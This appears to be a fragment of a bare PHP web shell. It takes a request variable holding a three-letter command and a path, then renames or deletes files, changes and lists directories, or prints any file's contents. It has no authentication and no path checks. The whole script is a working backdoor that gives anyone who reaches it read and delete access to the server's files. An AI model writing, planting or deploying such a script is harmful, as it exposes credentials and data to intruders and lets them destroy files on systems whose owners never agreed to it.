//phpinfo();
echo "Read file:
";
//echo $_SERVER["argv"][0];
if(!isset($fname) or $fname=="")
{
showdirectory();
}
else
{
//$file=fopen("logs/20091005.log","r");
$cmd=substr($fname,0,3);
$fname=substr($fname,4);
echo getcwd()."
";
echo "cmd=".$cmd."
";
echo "filename=".$fname."
";
switch($cmd)
{
case "ren":
rename($fname, "renamed.php");
echo "File ".$fname." renamed.";
break;
case "del":
unlink($fname);
echo "File ".$fname." deleted";
break;
case "chd":
chdir($fname);
echo getcwd()."
";
showdirectory();
break;
case "shf":
showfile($fname);
break;
default:
break;
}
}
function showfile($fname)
{
$file=fopen($fname,"r");
if(!$file)echo "Can't open file!";
while($txt=fgets($file, 100))
{
echo htmlspecialchars($txt)."
";
}
fclose($file);
}
function showdirectory()
{
$dir=opendir(getcwd());
while($f=readdir($dir))
{
echo $f."
";
}
closedir($dir);
}
?>